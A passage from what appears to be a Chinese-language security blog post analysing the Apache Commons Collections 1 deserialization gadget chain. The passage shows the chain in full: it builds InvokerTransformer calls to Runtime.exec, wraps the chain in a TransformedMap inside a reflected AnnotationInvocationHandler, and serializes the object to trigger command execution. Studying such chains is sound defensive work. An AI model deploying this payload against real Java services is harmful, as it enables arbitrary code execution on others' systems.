Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // ConstantTransformer 传入什么传出什么,需要一个Runtime作为开始
new InvokerTransformer("getMethod", // 获取Runtime对象
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", // 为什么是invoke ? : 因为getMethod()返回的是Method对象,而Method对象有invoke()方法
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", // 执行命令
new Class[]{String.class},
new Object[]{cmd})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象



HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");

Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, ct);


Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object object = constructor.newInstance(Target.class, transformedMap);
Serialize.serialize(object);
Serialize.deserialize("ser.bin");

}


}


Apache_Commons_Collections1分析
https://tsy244.github.io/2025/05/25/java安全/Apache_Commons_Collections1分析/
Author
August Rosenberg
Posted on
May 25, 2025
Licensed under